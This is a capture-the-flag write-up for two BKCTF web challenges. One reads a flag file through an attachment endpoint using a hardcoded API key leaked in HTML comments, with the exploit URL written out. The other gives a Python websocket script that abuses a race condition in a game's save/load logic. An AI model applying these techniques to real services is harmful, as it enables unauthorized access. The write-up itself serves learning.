← Back to Writeups
🚩 CTF WRITEUP

BKCTF

Batman's Kitchen CTF

1542 Points Scored
212nd Placement
2 Writeups Below
BKCTF Scoreboard

Writeups

Below are detailed writeups for some of the challenges I solved during BKCTF.

Web My First Blog

📝 Overview

This challenge presented a blog web application. The goal was to find and exploit a vulnerability to retrieve the flag.

🔍 Reconnaissance

Upon visiting the web application, we're presented with a simple blog interface:

Blog web application main page

🐛 Vulnerability Discovery — IDOR

I noticed an IDOR (Insecure Direct Object Reference) vulnerability. Navigating to /blog/3 revealed a page that had been "deleted." Inspecting the page source code revealed some interesting HTML comments:

HTML Source: /blog/3
<!-- i had to delete this bc it has my personal info on it :( -->

<!-- for documents in the 'other' folder only people with the API key has access -->

<object data="/attachment?file=resume.pdf&apiKey=9980426e560e3661cff195b21a4493b7"

Key findings from the source code:

  • The blog post was deleted because it contained personal information
  • There's an attachment endpoint that takes a file parameter and an apiKey
  • The API key is hardcoded: 9980426e560e3661cff195b21a4493b7

🚀 Exploitation

Since the resume.pdf file in /blog/3 also required the API key to access, I assumed the flag.txt file was accessible through the same endpoint. I crafted the following URL:

URL Exploit Payload
34.186.135.240:30000/attachment?file=/flag.txt&apiKey=9980426e560e3661cff195b21a4493b7

And just like that — the flag was returned! 🎉

🚩 FLAG bkctf{k3ys_in_th3_l0ck5}

💡 Key Takeaways

  • Always check page source code for hidden comments and leaked credentials
  • IDOR vulnerabilities can expose unintended resources through direct object references
  • Hardcoded API keys in HTML are a critical security issue
Web Be a Legend

📝 Overview

The challenge requires us to defeat a dragon. The dragon has 1000 HP while the player only has 100 HP — making it impossible to win through normal gameplay. The challenge also provides the source code.

🔍 Source Code Analysis

After reviewing the source code, I spotted a vulnerability in the fight_loop function:

Python fight_loop function
damage = min(player.stats.atk, 50)
dragon.stats.hp -= damage
ws.send(f"You hit the dragon for {damage} damage. Dragon HP: {dragon.stats.hp:,}")

await asyncio.sleep(0.3)  # Cool turn based combat

player.stats.hp -= dragon.stats.atk
ws.send(f"The dragon hits you for {dragon.stats.atk:,} damage. Your HP: {player.stats.hp}")

The critical observation: there's a 0.3 second sleep between the player's attack and the dragon's counterattack. This creates a race condition window!

🧠 Attack Strategy

The exploit leverages the save/load game mechanic combined with the race condition:

1
Attack the dragon (damage is applied immediately)
2
Save the game during the 0.3s cooldown (before dragon hits back)
3
Dragon kills us — but the save has our full HP with reduced dragon HP
4
Load the save and repeat until dragon HP reaches 0

🚀 Exploit Script

I wrote a Python script using websockets to automate the race condition exploit:

Python exploit.py
import asyncio
import websockets

async def exploit():
    uri = "wss://be-a-legend-2c1118e1eb6cd1d8.instancer.batmans.kitchen/ws"

    async with websockets.connect(uri) as ws:
        # Drain welcome message
        print(await ws.recv())

        async def send(cmd):
            await ws.send(cmd)
            print(f"> {cmd}")

        async def recv_all(timeout=0.5):
            messages = []
            try:
                while True:
                    msg = await asyncio.wait_for(ws.recv(), timeout=timeout)
                    messages.append(msg)
                    print(f"< {msg}")
                    if "bkctf{" in msg:
                        print("\n*** FLAG FOUND ***")
                        print(msg)
                        return messages, True
            except asyncio.TimeoutError:
                pass
            return messages, False

        dragon_hp = 1000
        cycle = 0

        while dragon_hp > 0:
            cycle += 1
            print(f"\n--- Cycle {cycle} | Dragon HP: {dragon_hp} ---")

            # Start combat
            await send("FIGHT")
            await asyncio.sleep(0.4)

            # Save with dragon's HP reduced
            await send("SAVE")
            await asyncio.sleep(0.8)

            # Collect messages and check for flag
            msgs, found_flag = await recv_all(timeout=0.3)
            if found_flag:
                break

            # Parse dragon HP from messages
            for msg in msgs:
                if "Dragon HP:" in msg:
                    try:
                        hp_str = msg.split("Dragon HP:")[-1].strip().replace(",", "")
                        dragon_hp = int(hp_str)
                    except:
                        pass

            # Load save (resurrects player, keeps reduced dragon HP)
            await send("LOAD")
            await asyncio.sleep(0.3)
            await recv_all(timeout=0.2)

        print("\nExploit complete!")

asyncio.run(exploit())

After running the script, the dragon is defeated cycle by cycle, and we get the flag! 🎉

🚩 FLAG Flag captured! (instance expired — flag not saved)

💡 Key Takeaways

  • Race conditions in game logic can be exploited when there are time delays between state changes
  • The asyncio.sleep() call created a window where the game state could be manipulated
  • Save/Load mechanics combined with race conditions can bypass intended game logic
  • Always save your flags immediately! 😅